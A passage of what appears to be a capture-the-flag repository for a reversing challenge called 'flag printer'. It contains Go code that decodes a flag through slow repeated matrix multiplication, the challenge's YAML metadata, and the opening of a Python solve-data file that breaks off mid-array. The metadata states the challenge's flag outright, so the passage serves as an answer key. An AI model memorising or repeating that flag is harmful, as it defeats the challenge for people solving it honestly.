{2618215929,664885787,3485744101,2332749682,3208339369,797562757,1247992358,1808921151,615173465,992018296,3050312998,3262311116,953990984,1003781469,3169165466,1655736834,456576589,1899517563,1785561909,17814740,628872080,1615684301,3672234507,2127738447,644827895,1490149031,3282575539,1076239840,2259318536,2283724268,836120892,1110600668,1145039065,2965952849,2113327989,653865815,1037517340,2680335625,1585877706,834949936,1131517029,1077447013,3404553720,3201631407,25296594,1184267774,2642902876,322054530,1332804429,1579798812}, {1615449259,810686413,420859381,1088145434,2843372348,1344782869,3502449932,2699378506,2325994605,289394089,380056729,2736145851,3316373480,281169077,3559126811,79687797,35214829,354411754,786006187,1776179412,1864511514,769287181,3525141072,2543250729,67084487,1269630182,1446673176,3665319468,3294347411,2715833468,3181977480,48460794,3727225009,1304305554,2631399345,3105522803,2913210321,3252739392,2545711169,1633980367,3505490605,37918822,711882501,2546817411,3709512867,494046109,2948934814,1680264064,984633276,124746954}, {887057695,2297594474,3782145,939493914,1904246726,3204970718,2862968942,3702610896,500808269,2244900857,2400525976,661301049,2802836282,1504239944,1277780899,2226551718,3350408786,3008171728,1734864381,1579532362,1786694056,2115915130,572329435,3670728657,2187118390,3733221253,758741885,3332173858,2988211023,3310008592,3047726463,2469633021,1874749837,2220078403,1256948568,783563187,2141111514,2186018378,2202878591,2038934394,1605199679,1901021231,3369987570,1000846950,3013582602,3630786760,1940592320,889861576,2193674458,3254130619}, {3319909284,1223192178,213956235,3560809321,468064382,3660962117,3255499152,2485410543,423451158,1616084700,1058505898,3011687560,2401220937,3741525790,3727593059,1522793489,69243682,520850579,3054299507,1398324458,3511394062,1412532454,1082164064,3197589863,1712327550,2760312557,2405989732,2248291223,409043291,2482112014,2884187534,1615307687,1963792963,949180869,655249092,957902331,2632168388,916347252,3316609064,3315484818,598270475,197177572,210113519,422945198,823927384,120456038,969872095,2029265490,828791531,3760291296}, {664541702,2170377453,3029695308,620663010,747662965,1861258831,3158897039,1042303581,1346597382,1453211928,1860946587,1925148467,3430870855,496416537,2861380702,1768221075,1529558076,3595695195,3145237623,61089976,3390343104,749823870,2562468389,367958797,3158463147,1670138296,2098123764,1582719853,490262482,1556682063,2297495827,3733996531,3758763566,695105493,3141819288,2473116805,2611342681,928847324,2163015124,1307784184,3735275259,1747860942,1929234225,400840607,554712569,3622262846,1984356438,1217831934,3093655988,1981224211}, {66695444,2291497564,168878503,561077345,1528420681,160045640,1185629594,2562006372,3329253552,2374962814,2197548956,3332822667,1100930894,1290841174,3205170593,81433993,2845571887,756991255,1187931638,3599331473,2612001049,318819803,2869957020,2722031909,834837474,506259860,57787478,3435182268,1517675052,2914243168,2782054265,2199715189,3389352909,1345034517,422603442,3171690736,2557557732,3202208566,1301434945,2522589026,2439600028,2027309260,2082820037,2183527887,1714934324,1064866459,1150898677,1327906030,1343013680,825841428}, {1610477345,1216023035,2399966390,1100246275,733242934,2589638558,2979355618,307154211,3229374333,1573841216,2753973897,1391987671,537856787,3339991497,292638728,1265758520,2760721823,713198881,3650518262,3034604920,31809939,628847114,3628315178,1903470581,3653012460,3270953028,2838551710,359701567,415943441,1279268078,2443008271,1502716549,3734393983,398584424,529245748,2694054137,1214898315,1049070819,1952519154,2416386245,2208224713,3167172,2633268197,254682487,194636521,3679984677,1354413045,3674267596,1219178517,1597876951}, {537773387,1125926470,2066451346,1758621408,2013426741,2629869998,3751705847,3694622337,1880214556,764435422,929509132,2271938123,1418502549,3297802056,1003235417,2555714124,2909258121,3178262417,2437332137,2755031948,2710432310,194476639,2818008818,1988089217,3765955324,328744866,3719559822,2780679092,2694177703,3605852811,3361132766,2601509748,1428506641,320325684,1761391690,3752958643,2730531541,1845707158,2171409425,3424795218,723101334,1127202786,1025850705,1588924241,2565475321,1305681907,617410534,1592537575,791736048,521454892}, {2679828270,1524260712,1898373347,1501574914,71191931,1744412944,2859120874,140306064,1647891267,100564867,807038880,1904405253,3390482759,3341926256,1479916775,1417055469,3002523121,3720962954,1711824149,1750231632,275791799,454011644,1261143730,3155318923,3173402406,1914975466,3720146551,3086559041,1149801504,1168353574,2527697326,3251160890,186714027,3417819418,244673216,706551115,1465962010,2739444153,2709998068,716502085,2073319403,572172128,2061873479,3247331073,3537856407,2008244223,3396379806,3213593742,2093329368,1542980394}, {1416960101,2446450232,2812831888,715252167,2753649519,1114351682,196443115,3010871017,1925975953,1174034806,1400802390,636288248,1899131533,2473662436,3002666043,1552754651,2747462881,271947,3147380456,2583270331,2467792115,730821059,300300665,225715461,525507938,807593978,1756147363,2769788146,1252259814,1016419751,2774270878,3683203618,2980878901,2121397732,2567271876,2382397220,2521849326,3719465372,1020409016,731369717,1776884914,1960819902,3389050553,1518348284,321078399,1227826911,3046682043,3143321285,110848790,649106031}, {149462953,649936592,1774957487,1070699070,916164905,2174971158,11805996,2545895,2082750657,725986402,941950720,2971423628,640732530,310065100,1649640191,3386237865,2247252013,1467376321,1939388912,1204475413,1541279505,618918704,3180912247,704340454,2325596758,1177756008,944054997,2886925952,499553249,3725600514,3186893187,1895930807,2058182451,2089629147,1509030820,813211298,1683383271,1325568098,520208985,878394667,2666301698,2522763771,2020828838,2944358956,3466091570,453576721,997893504,3759025543,3009133341,602236643}, {594896905,3617869389,3479784781,1748156598,2267196233,3545381859,1429344349,526952029,967439063,2579516509,814295492,34515690,2630880414,907797381,2653721688,1491037370,3252881935,833008477,106497783,1087962179,3028090195,1077467326,2846823471,3460805791,2161703788,59197078,3019364661,2283490770,844984715,3387169637,668244516,1967500565,2508894350,2444813634,501682468,1345548027,1790026742,1627526280,814638917,3272914594,1513395669,60770168,116053005,497652669,812647737,3632673217,2479431312,1877141180,1444704962,1326865387}, {213092281,1579632423,970910451,624932142,2065230860,1612258966,3131803777,1669741048,3169991843,2716567152,330926347,1185891827,1227833182,2341275726,2737648428,908133308,1070610949,3714774377,3662024745,2063116099,2461123463,584725935,1649807310,519032404,2432901708,1258948160,515786162,1992664596,1661829439,3126029013,1329617997,1600814767,3215343724,1282355027,549661843,2899105002,1455139081,949029597,1402495176,1344312222,244980405,3140241770,3206445699,387017856,2634939448,156047537,439732343,3212377642,803006456,2066843014}, {3595453426,3139767312,3346420938,1352876988,1823352019,1594699279,3641765463,3232079054,1319283505,1079616683,1216875479,2410701491,673958609,2543401509,2045505971,3269751652,871704239,1089115407,616268095,54335650,2964490483,1628809106,132373176,754207619,104906306,1372412843,2744148785,1932708804,1192744243,1029447420,3373360807,174531415,3514005063,2810979347,1306291625,3402300531,2155716836,1602233419,29162609,1826640511,2040271062,1689293441,3351578245,292743522,3704890187,2291286376,1829926797,2290879836,3147148886,431161274}, {632597651,204651939,2301258628,54989168,1168351348,2503668239,3294370181,233124526,2908523243,1210596319,703596728,610957244,1982447456,3229858407,2607045413,2212115125,3052883719,1563587094,3151868162,2814234722,118866535,2083288200,848901998,55362724,677467320,1743325507,513382024,2241382148,882174819,2229134515,2588240050,788076648,2367990188,2998458028,652545569,1608073636,2087280313,3723382373,654078468,3638578518,3037303131,1968490017,3394440942,2817707736,3615357125,755376642,545503952,1348123339,3553489172,1526971917}, } var p uint64 = 3766999387 var xs = []uint64{182, 710, 103, 47, 14, 212, 85, 196, 136, 52, 260, 20, 627, 474, 86, 3, 59, 199, 76, 141, 244, 73, 243, 124, 71, 67, 126, 162, 103, 78, 59, 41, 3, 415, 68, 41, 81, 6, 293, 24, 198, 134, 137, 406, 148, 57, 53, 150, 176, 96, 82, 371, 102} func Mul(A [50][50]uint64, B [50][50] uint64) [50][50]uint64 { C := [50][50]uint64{} for i := 0; i < 50; i++ { for j := 0; j < 50; j++ { for k := 0; k < 50; k++ { C[i][j] = (C[i][j] + A[i][k] * B[k][j]) % p } } } return C } func Sum(A [50][50]uint64) uint64 { var s uint64 = 0 for i := 0; i < 50; i++ { for j := 0; j < 50; j++ { s = (s + A[i][j]) % 127 } } return s } func main() { for i := 0; i < 50; i++ { for j := 0; j < 50; j++ { X[i][j] = M[i][j] } } y := big.NewInt(2) for _, x := range(xs) { var count_x uint64 = 0 count_y := big.NewInt(0) for count_y.Cmp(y) < 0 { X = Mul(X, M) count_y.Add(count_y, big.NewInt(1)) } for count_x < x { X = Mul(X, M) count_x += 1 } y.Mul(y, y) c := Sum(X) fmt.Printf("%c", rune(c)) } } ================================================ FILE: rev/flag-printer/challenge.yml ================================================ version: "0.1" id: flag-printer name: flag printer category: reversing description: > What more could you ask for than a program that prints out the flag for you? Just run it and the flag is yours! Author: joseph#8210 tags: - medium files: - ./challenge/flag_printer flags: - DUCTF{g0tta_GO_f4sTtTTtt!11!1!!_1c5eff59b5e8814d7f92} ================================================ FILE: rev/flag-printer/solve/data.py ================================================ M = [[12360658,3164667810,3174250802,697033209,139528530,358879236,1884536693,3056019465,1556957267,945325257,1500272620,1530963857,2626169693,894010163,131212255,393515820,1219562872,1281025178,1526954291,1047608923,2142827700,1309305937,2181030782,993149128,1488085348,3130343774,3398667168,2779185288,2765206427,2035886271,1050418536,2915626148,1843999063,1748919300,3662515079,343226658,727322753,1793737512,1068459295,2622148333,1526033248,3522082343,2238595599,1678141960,1960397115,385985387,2247888313,2839888888,678409675,844484049],[1615620522,3324682526,1175112514,1251963849,922430708,3019203936,2138787202,939098216,1519524469,458044099,3537536201,1944245222,2321156481,1226040027,1279977241,2485884935,600012824,320678650,3529942739,544543837,3227953479,1273240513,34838828,3446788539,51072229,2835273865,2901443521,498069525,428143639,3639364742,904407740,714805677,3048945940,2176334651,1257919498,1250540774,1881583702,2047332825,3186814525,2325478587,2147844010,1287554373,791343228,2047487046,631292183,1740700926,691573975,3122341119,948587534,3667912295],[3324351707,1965035735,848867791,3420112111,2439269107,2748626149,191723182,2300350902,1968817814,1628712619,2559012454,3360209780,3067396087,3331417429,1438539249,1550766183,129779530,226222335,2397461635,3419944237,2776460726,1742919674,1471796857,1018964758,2004146078,1517615,3158857147,1539372481,455093765,2290598016,2642063636,3223639649,2872665416,3282341302,1313014713,2708074906,3590277064,2402476061,1156968847,661897523,152583345,3148536395,3090713670,2745241183,3684982628,168554864,3131122411,59908344,3659254732,1939869525],[2956322407,2682223193,2145703839,25183203,327083697,2084867616,1335920746,141336936,2746237983,2180894077,3318564631,2723609797,229535580,2322232146,3336910408,3159404088,257783298,3399683029,2704374917,781442655,1823542448,3669040241,1488653952,2403214670,1733331136,3039557393,3037512813,3368772977,1019742125,1574170358,2008273841,739464997,3418974601,2253269468,255376157,707817896,2661985244,1726878148,1831080972,1412734125,219278444,1249859505,960119440,2371885449,2990563293,3026024974,1612966825,669538040,1089362232,3687600328],[1331037934,521067828,2702455296,2840624779,3508480078,3540232486,2371228576,1546395817,3064471032,1662218802,103934047,3456756812,393439166,2896274618,1467728979,3242979310,1179915363,215637193,2508338087,2427509669,2829954671,3306385585,1724997573,2786840004,2335633786,3426149502,2441843095,2777768181,3037214112,3244123105,2512341386,3440817431,1500058524,3486353375,794726090,3053533034,199768845,2455030068,1842016831,1728938928,1904966472,819547070,515931794,365594635,1524944948,1062101818,2646969235,3618312758,218187561,3664679984],[183092490,90118331,3084000559,3280662539,750636853,2929906440,3342735256,715374696,2286314746,175408665,597902294,2347629646,2568852438,2198391602,2777234479,904301206,2772823889,1710269006,3395472457,2779014019,3107473326,2525758515,484902152,3712338837,3272169022,1433152399,1621149346,1141522396,544218147,3609629219,844025120,1854986668,2721088206,2202102084,1286186503,588113924,354423348,3502346626,3679497051,3107921455,1743345420,2889415762,3347606232,1030596301,3248742797,665752796,58380748,3131946549,2696584967,2107052619],[2898185687,1705484801,1972671819,1600431853,3058746775,2645089103,1433124942,893378285,360554998,1655954565,3202903021,2029117986,1069419124,156975313,2159969464,2992327767,495718964,3215331356,3378830789,1750283094,757799731,3212600852,1744416118,2897342065,958222710,2125129684,120957069,2387268576,745852888,585462512,2061973462,753264371,132390356,1238778017,3637946954,196959958,1735247331,1977074706,3383249010,1087566953,3597806093,1225005441,3105258785,600948041,944948519,1657286187,2057185501,2572171858,3705516558,1907312396],[1274962641,852481909,3640693291,3077694424,3632544564,3175799930,3431830581,1924344903,1815122172,1369349069,3633231048,292086541,3581261969,1743690489,1846138567,3177093398,876493618,318013533,1761606825,354850497,3585734770,383520317,3013864051,1634768282,2403053040,2542465478,1635990356,2726488558,2192588223,481863928,1306613510,1554409012,1185976111,3403144559,1379161083,1447604996,2316818873,1285125790,814457073,1374904803,1895133783,784051094,1408299663,3006704274,1940349714,938402245,856583102,3041121874,1481337216,1537929079],[770540112,1309162334,1840967639,507553407,3297660501,2600493869,2888603720,1520510696,2608775370,1310928545,2525916692,3338828200,250980840,3600453368,709023189,451278278,2950232014,1822254149,1317898250,2089556943,1222039910,1762230515,3383286044,174068526,2432594394,3576311382,881179979,1503823199,2968938040,1130306514,1967563470,2475941588,1463095682,1784121660,3073661297,3675299255,750432719,551924414,3583155570,129534826,3132723773,156945304,2130396642,1389571378,58505703,298743161,1928448822,2538234897,1467313231,2425008606],[3058107316,2020353736,206595472,1735812044,1875018076,2718116420,1494050135,413822610,2440692451,1703619374,1893980174,1332325686,2481167844,2020685460,3113382519,1107038029,3423754753,1760252656,675530399,1788643945,2405955391,3601393591,98335819,1797054689,510363616,132175905,1989619372,2054750116,765443703,50754731,13995875,500618183,3513335538,928119048,740769345,1290055784,1828754797,1035750035,1167895279,3676562081,2736550112,2915099913,2287625120,3226977019,537432614,567456255,3448580218,3724777304,2149069368,3599987539],[3679258364,2091449116,2294295916,238242520,976034646,3030033323,1176270819,800116104,2149671627,3039582509,3649977576,1075379,3562202907,1825116015,3462484475,2120175262,2640391258,1668360134,313339901,1482724766,1831908323,966549135,131150491,3478976157,1956331924,1507698878,2847576260,640379944,489545362,2747564970,1552219309,2544152963,1329147195,176045122,978788734,2690374436,1925424163,528425356,134711637,2033968989,1619728652,3207207301,3492529134,2215440863,908307054,457998890,1848001189,1475865431,1079003089,2624027541],[2320927571,805533778,3073845128,1415228808,1448458821,2596780268,3509598942,1199988025,3549382092,2946063491,2322301913,2487079491,580036955,2750595934,2091982036,3567529142,3430043867,2070995001,257742843,3550271035,2215241123,2790639060,2362925648,2690611037,714110115,1304981132,3063246343,1106429515,417205886,2576049566,239065021,1238645325,2867191522,1343499821,3068497337,3030639587,2884821068,1588110524,1170719047,1939396801,1452674163,1106537205,2390004761,3063520479,2927322038,1211220383,1526958227,3259904932,3144905103,3125110437],[2883746202,15592572,1626093556,2225578698,3352772574,3349724322,357475023,1760278034,1453471563,2982758125,3359182247,871813456,2605244379,91301587,123763403,2379319870,3189395375,150589464,1808844187,167845379,1230062572,2384145845,3692658529,3160325951,2004521156,3058569313,296690801,2507268409,3280542830,670928650,3508189714,1532209421,3628888196,1241707958,828900632,95090839,1123661051,3573580833,3129683369,2276532867,3627796097,1568923668,2645774890,2116542594,3077331564,417047787,264485572,2090379641,705537189,2192543375],[1064221306,757380202,2795203024,1865313499,2861026118,1156649330,1480650516,20306387,1798715563,1801184636,3216179331,2189502325,2117630487,2301170783,3368483629,1792827573,3099367829,2569816374,1586960447,956014192,3155208159,2455360859,3062632673,1855260742,2934058383,1712040747,2111725300,3365258140,3436398096,1335364933,2236776048,82008645,1168397160,2802476016,3266172852,3146323231,51404319,3455018028,2753951460,2141497437,1578060909,3049929584,3408382791,2058203036,303253091,2314935223,1252548743,801565338,211048797,2389426899],[405358413,3363180635,289935908,534721983,2841901497,3743713201,474231246,577878823,1395809008,3234334462,2398589016,3664154008,1776735806,844138072,2883857414,31304575,2548935900,3617158030,588313457,3609427504,3692279253,3024638522,1148371802,1386603353,2256358440,2143715972,2301281379,508935043,1263779501,2104458554,2941146856,2867356220,3600159855,735538369,103354885,657970498,3093168305,1959211166,688937207,1678404713,3328628383,183772892,3378789971,3371509846,1178517050,3397590651,3373323031,3435069056,263829526,3097223023],[1881390997,98125064,1353926662,635608027,1947802850,3149832439,1156515425,3362665943,969829907,3431295765,2999889554,2757789327,73644112,555403443,930619613,1337986232,150293444,2884122875,394605393,3452522657,3705185472,3090008631,3619501771,3531472620,2737225125,3656419357,693455034,308444152,2983704268,1478095570,2307465685,3120503775,1433682343,1801206035,437654799,1028953324,920973193,1791364762,2027890667,1422910278,537782854,2601778365,2316590081,1863527498,373984929,1989287622,363738263,1844593673,859592315,3724993654],[3578774169,3664975502,313321623,1429116584,1027949869,1681806439,2651276667,1441275709,534377000,3715817781,1061650297,477845165,879900790,389364867,2852587678,1971084959,2021744840,1535721401,2580485399,79839176,2917667990,3527271324,1267160739,1289889403,385059230,1179349640,2272834615,179627697,212828602,629431466,2190557622,94817532,572930584,915066740,3438394179,2851123481,2105644132,217131420,953820339,2671673845,3432242421,3650981880,437159108,3721791876,3094346719,3106850618,1244503699,2774114818,3435205471,2365198996],[232611885,1963591182,53903864,2848670270,1899411123,2066134171,2920424936,664287993,916082853,2843339774,187003447,2921989157,1373480576,2339946854,3047361324,661847767,1425915985,138968534,2027860254,3183419300,2245590901,2182800302,951164216,3415196315,2805665465,831235193,2171124159,3492939593,3236548433,2666840812,3211733850,371638472,3726244471,454221344,3565539039,1030876789,1165423804,263476671,3119811660,2469065385,2083746035,640988500,2283731900,416842312,2766794734,3521857304,535263182,936385229,510081529,143243643],[1864491799,1169690285,3431326237,3432087948,2243605552,2608973485,643456284,866578604,1708463279,1907291459,343097496,2022414848,2895991756,1178535156,3275349644,1030126876,1133935721,1758735257,3362767382,1465908249,2263603288,3558880499,1570917564,2902439855,1507805014,937673896,2246951417,1441736387,217169770,2384343494,362013264,940497492,2148262087,1545510551,1035900672,2776512283,2627074054,2950156054,3494885863,1263230272,3686165884,269366205,1615064116,1408274042,1091824547,3498065593,2308351703,1070433531,827119749,121906243],[1669765000,723165608,2021074535,2158782750,2137259120,2951534343,1458686674,464193153,1735808708,2301940622,2515751234,2737402101,458593073,1122630444,3308830,311542189,2306311408,854387116,3398201046,1593185463,2899226452,2074508456,1801089738,2467610046,2636058344,743228219,990083359,1074583380,3239008405,450688438,482027626,2803746358,1297113860,2481852092,1246596859,2374609442,277114456,3658062737,2326627589,2424421979,3459523914,1128836189,2908623689,2339588028,3230209462,1358125971,3455972804,2728138706,972416857,946571134],[1087824872,2550048742,3419722719,3047108633,3212980240,751904208,1126684998,2942265987,32688543,2946139364,488435312,2910830195,1222544092,2409766987,2928160273,570176743,1992099069,429227946,544675191,555361835,468054905,3102912812,3536516099,1502720075,1856805986,1947333043,3169768876,247940275,2734497456,3495315879,96692387,2638454198,2086323969,17869543,2353626337,3182305392,795116850,848052656,2244484590,3742616359,1610228960,3493616155,2736827896,902841591,63475423,2229871821,422601904,1334897280,822188871,1317301077],[1102235129,3009517125,996139468,1688059813,2542660864,2406524287,2792078030,2583635628,3546690644,2228188667,3199264548,736914605,33484953,1880874005,1083977412,2440120231,2106482004,227484810,2979832768,3030993908,3666713374,1372360804,1474571174,2769291555,2986739391,1122381412,1765120389,1249433851,2891331075,1291435792,2957109121,3490748657,3755259204,2157892002,2500985114,728715305,1454299100,1906062793,3110341103,93770138,3638788033,53491098,2174166306,2693214268,623348726,3510863941,2925200610,1559424235,2758585887,3367488646],[1958998047,1542170072,1658692691,3598899219,841511768,1599621306,952980325,116138378,1500765554,3452607660,1919954488,2803395353,3738309029,239407124,3282823247,3567284642,891375715,257293800,865952733,2069566506,3095022872,3488410996,2145594922,3702787308,2506638805,2633835952,2477024379,3264122063,731016146,2411272902,2478403434,2146418739,2752786582,2248943930,1936712662,2000971496,3373205659,1595681204,2684152898,2888921321,375125967,3323103683,3715314583,3655619588,3555015328,132789848,3332469825,1991178442,392148832,1083530118],[21240011,2573123981,1687759871,404425082,794105057,818447079,1502137969,3659649147,364556272,561800583,3009571923,1630307172,600546745,1755491112,1153679068,1363083983,2830478799,1227514949,1746191160,2876061425,2394885329,1896869105,1472453879,2348915643,863069963,2798258063,123081072,2143764970,3731442183,1590802048,3757275158,1431240946,2358979498,1977858223,1152732928,290752542,1860546015,3560122626,1389631437,2114250735,3464962565,3232536325,3504015440,3242244225,2953330037,2833915364,3364517700,1174209509,3075252822,2288370814],[1126987496,1501527409,527459918,2050735308,3567324855,1922854073,479130665,3044395568,1819360136,612935465,2240942186,358401619,2806068464,1676379970,539180263,519730550,1112754544,542762466,2746951808,802709148,587118474,3684731285,853580533,2729422057,2770868150,2899835532,3257562753,3722125303,1850828331,1058649344,1938526751,2549969988,351894394,3517747925,1702775032,1152303529,2949638439,3434675932,2121537439,704396458,1435093351,213081152,839951525,3471412800,459768430,387656569,2801432213,2431281293,1680541803,2866513375],[3112522962,439086695,2535467054,2660671835,2478449215,3282125155,2585346927,2336596234,2116668509,2724243349,495705686,2621099988,2627631933,3562063823,856051797,3069457544,2571597699,3613269266,3583124730,3518710424,931520100,2656893610,3681627959,805354225,2620233429,3576335206,79442516,621935138,2540045245,2483443981,762854768,3344844500,2298090600,1228941055,1431350169,1487358861,2296775532,65949078,2090066618,501740402,901282516,2488824224,2242410811,1951195301,1963616621,1853605757,2767090975,3555595265,342589767,2151795857],[137213056,3479178812,1608296225,2497941287,1748237497,2996378958,2485856238,2419230818,1507487499,1195472593,2829177251,89419099,2231491783,502331004,1200848595,1169779430,2320103790,285691431,3620341437,1676495143,972723270,2576226192,767559362,2089112784,2899729841,666217620,2730448692,328797639,1758823896,2628511958,3320033104,3313353387,2431583923,3081244697,1333317798,163663994,2072318481,575088782,2664698781,2116505793,2483729145,869306761,769484312,1899647160,3626757813,3758019561,1153942916,3763911796,937625915,1383582632],[3077763635,1603638498,3424158482,1275246255,2846971403,2107618919,1267881752,1834495385,3297738950,1976996023,3112839373,716852945,2873266280,1113270859,636237109,3408443557,744501535,2086962042,967472613,640340045,2875593531,1864392208,3059850086,1856214814,1492029424,1054010375,2586832925,2541488130,2159770840,640290292,3742011420,280400788,2616931214,2316185182,190402256,735766139,3317462778,3372638941,3532387449,417229473,3600701718,320173781,294316741,1626761718,1210100594,1063835895,1947479122,2016434810,2450679049,672657509],[3339735991,897340317,700120660,1090417302,3638986910,2565686077,1397340225,1105527144,3460199106,1968225801,987459255,2734891212,869569302,1829209499,2695302749,2217520154,3591093729,3277277908,3424150028,2373735326,3718080898,1013838677,1093685214,1416852720,2474927637,3213452283,179096020,186891920,2498112820,266805105,3211675315,307721440,2465093951,2132298061,2446536040,909515810,3743041929,2595696707,2687820558,1419189619,328038585,3301980902,99157005,3371930049,642112138,2105818136,1611676138,1004951398,3246342825,2238608293],[3082203896,779478986,800753067,2544654249,3707190355,2487555435,730062797,3021227716,1300688074,3136159046,3228538391,2580689217,520067187,1045722076,2233867586,500936470,3560457043,3402273837,1479723368,2960141438,1599395227,758856038,2734365357,294911123,1350793926,847922801,99795737,1937653598,2511682306,456231162,3498776369,1224304410,828744015,357670566,2181035533,2718266346,303279929,1981750379,3726068438,44747814,2328532001,909376571,1896003219,1614165657,298937470,2846402476,3302566154,1510950659,2611490369,2674839617],[888348752,1133669212,903058757,1447229650,2885391991,3051072648,3689869649,2960443954,3296499892,1623027763,3192386725,8094240,689653355,1520983221,1079371066,2903127408,2031840850,807813256,2717547579,1430016808,2755628785,1094278458,2049718283,3678205057,1397483831,1418302080,2994148163,3170006951,3763220094,2008146061,693557878,343641562,3010021907,3291410507,2980661055,3464328358,980208432,1237219243,1212176911,21527645,1823543831,1505705027,2266894359,1193613773,1029224023,2072934097,821447656,122163626,3011494870,1709190740],[572032492,1742799755,622203699,1990971048,2200813532,1093676354,129587458,3049544838,2335844598,681472390,2067430314,1762007063,1169616275,2796014119,2704049620,1579136606,2562849364,1096683462,2243466935,1197341357,2079849369,2618723520,2367169438,3725754585,79224923,2433517007,2109153124,633482690,277072853,2181449524,1486898750,1696114860,2941456459,1321855907,2222239940,1738813305,1412712857,363652619,1655126167,3474047499,1292298924,1286797646,721558813,1321744963,934572783,788410230,3462081957,735548365,3237552867,2014480302],[2443581928,2629044494,2929877426,1417452299,3086997296,3339930328,1555318642,854995864,221113717,1759263767,1922225146,3081878165,138700058,782864536,617832684,328683920,371260424,322149596,1169017890,3011449339,2227246308,2782922050,1522834698,586083032,1951810981,2958238874,2223140161,3161147328,3615143086,2795822625,1952630473,2858177129,2836371839,2313481233,1731230889,3555349291,1707284829,3766363386,157561866,2016720182,706828007,1687976276,1412933115,1750590907,996184917,1823048833,2646746610,2267152345,2444414172,998630083],[587333621,310156137,3355247080,1314075109,3032269560,1875318389,2765713631,858314541,189245532,2164478906,1996771117,3353067970,2454361405,1048564701,3011465869,1383313976,3227313964,7564695,3226481917,291020981,1435333153,681765524,1877672081,3186092455,2906658246,1503126783,1013478355,2009133067,2534496755,1153444832,2925607286,498598356,2142935273,1132282580,2502271947,3173760092,2467228754,1548718219,3273794428,1171220372,3008854867,1994794440,901364504,1251008544,2733172404,3511438686,895342334,432264184,770093820,2556392141],[1918971970,2695447413,3476985700,3716778587,2573379155,3210347369,311739004,2245057409,3038939001,3152755557,227091997,1841761296,2381435181,1670743841,3467617157,150716533,351713561,3636902216,3034718917,3098515143,384914113,1738579990,2931076678,308643652,722245155,1010204191,146056504,3414466780,1138036909,1897640220,725602628,746179454,691238210,2141324715,2673021564,1801042693,224002150,3335136366,631261115,2764389477,3703565279,3662447940,900070714,1223810344,1545990843,1523176106,2205543619,2192658646,2784313461,2535960659],[2618215929,664885787,3485744101,2332749682,3208339369,797562757,1247992358,1808921151,615173465,992018296,3050312998,3262311116,953990984,1003781469,3169165466,1655736834,456576589,1899517563,1785561909,17814740,628872080,1615684301,3672234507,2127738447,644827895,1490149031,3282575539,1076239840,2259318536,2283724268,836120892,1110600668,1145039065,2965952849,2113327989,653865815,1037517340,2680335625,1585877706,834949936,1131517029,1077447013,3404553720,3201631407,25296594,1184267774,2642902876,322054530,1332804429,1579798812],[1615449259,810686413,420859381,1088145434,2843372348,1344782869,3502449932,2699378506,2325994605,289394089,380056729,2736145851,3316373480,281169077,3559126811,79687797,35214829,354411754,786006187,1776179412,1864511514,769287181,3525141072,2543250729,67084487,1269630182,1446673176,3665319468,3294347411,2715833468,3181977480,48460794,3727225009,1304305554,2631399345,3105522803,2913210321,3252739392,2545711169,1633980367,3505490605,37918822,711882501,2546817411,3709512867,494046109,2948934814,1680264064,984633276,124746954],[887057695,2297594474,3782145,939493914,1904246726,3204970718,2862968942,3702610896,500808269,2244900857,2400525976,661301049,2802836282,1504239944,1277780899,2226551718,3350408786,3008171728,1734864381,1579532362,1786694056,2115915130,572329435,3670728657,2187118390,3733221253,758741885,3332173858,2988211023,3310008592,3047726463,2469633021,1874749837,2220078403,1256948568,783563187,2141111514,2186018378,2202878591,2038934394,1605199679,1901021231,3369987570,1000846950,3013582602,3630786760,1940592320,889861576,2193674458,3254130619],[3319909284,1223192178,213956235,3560809321,468064382,3660962117,3255499152,2485410543,423451158,1616084700,1058505898,3011687560,2401220937,3741525790,3727593059,1522793489,69243682,520850579,3054299507,1398324458,3511394062,1412532454,1082164064,3197589863,1712327550,2760312557,2405989732,2248291223,409043291,2482112014,2884187534,1615307687,1963792963,949180869,655249092,957902331,2632168388,916347252,3316609064,3315484818,598270475,197177572,210113519,422945198,823927384,120456038,969872095,2029265490,828791531,3760291296],[664541702,2170377453,3029695308,620663010,747662965,1861258831,3158897039,1042303581,1346597382,1453211928,1860946587,1925148467,3430870855,496416537,2861380702,1768221075,1529558076,3595695195,3145237623,61089976,3390343104,749823870,2562468389,367958797,3158463147,1670138296,2098123764,1582719853,490262482,1556682063,2297495827,3733996531,3758763566,695105493,3141819288,2473116805,2611342681,928847324,2163015124,1307784184,3735275259,1747860942,1929234225,400840607,554712569,3622262846,1984356438,1217831934,3093655988,1981224211],[66695444,2291497564,168878503,561077345,1528420681,160045640,1185629594,2562006372,3329253552,2374962814,2197548956,3332822667,1100930894,1290841174,3205170593,81433993,2845571887,756991255,1187931638,3599331473,2612001049,318819803,2869957020,2722031909,834837474,506259860,57787478,3435182268,1517675052,2914243168,2782054265,2199715189,3389352909,1345034517,422603442,3171690736,2557557732,3202208566,1301434945,2522589026,2439600028,2027309260,2082820037,2183527887,1714934324,1064866459,1150898677,1327906030,1343013680,825841428],[1610477345,1216023035,2399966390,1100246275,733242934,2589638558,2979355618,307154211,3229374333,1573841216,2753973897,1391987671,537856787,3339991497,292638728,1265758520,2760721823,713198881,3650518262,3034604920,31809939,628847114,3628315178,1903470581,3653012460,3270953028,2838551710,359701567,415943441,1279268078,2443008271,1502716549,3734393983,398584424,529245748,2694054137,1214898315,1049070819,1952519154,2416386245,2208224713,3167172,2633268197,254682487,194636521,3679984677,1354413045,3674267596,1219178517,1597876951],[537773387,1125926470,2066451346,1758621408,2013426741,2629869998,3751705847,3694622337,1880214556,764435422,929509132,2271938123,1418502549,3297802056,1003235417,2555714124,2909258121,3178262417,2437332137,2755031948,2710432310,194476639,2818008818,1988089217,3765955324,328744866,3719559822,2780679092,2694177703,3605852811,3361132766,2601509748,1428506641,320325684,1761391690,3752958643,2730531541,1845707158,2171409425,3424795218,723101334,1127202786,1025850705,1588924241,2565475321,1305681907,617410534,1592537575,791736048,521454892],[2679828270,1524260712,1898373347,1501574914,71191931,1744412944,2859120874,140306064,1647891267,100564867,807038880,1904405253,3390482759,3341926256,1479916775,1417055469,3002523121,3720962954,1711824149,1750231632,275791799,454011644,1261143730,3155318923,3173402406,1914975466,3720146551,3086559041,1149801504,1168353574,2527697326,3251160890,186714027,3417819418,244673216,706551115,1465962010,2739444153,2709998068,716502085,2073319403,572172128,2061873479,3247331073,3537856407,2008244223,3396379806,3213593742,2093329368,1542980394],[1416960101,2446450232,2812831888,715252167,2753649519,1114351682,196443115,3010871017,1925975953,1174034806,1400802390,636288248,1899131533,2473662436,3002666043,1552754651,2747462881,271947,3147380456,2583270331,2467792115,730821059,300300665,225715461,525507938,807593978,1756147363,2769788146,1252259814,1016419751,2774270878,3683203618,298087